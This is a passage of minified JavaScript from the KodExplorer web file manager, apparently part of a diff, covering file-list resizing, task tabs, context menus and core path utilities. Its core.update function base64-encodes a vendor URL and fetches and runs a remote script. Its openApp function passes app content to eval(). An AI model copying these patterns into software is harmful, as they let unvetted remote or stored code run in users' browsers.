e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../common/rightMenu","./ui","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../common/tree","../explorer/fileListResize"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"./index.php?explorer/treeList&app=editor"},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("./ui"),ui.path=e("../explorer/path"),tree=e("../../common/tree"),ui.fileListResize=e("../explorer/fileListResize"),ui.tree=tree,$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),ui.fileListResize.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+t+'" title="'+a+'">'+i+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var 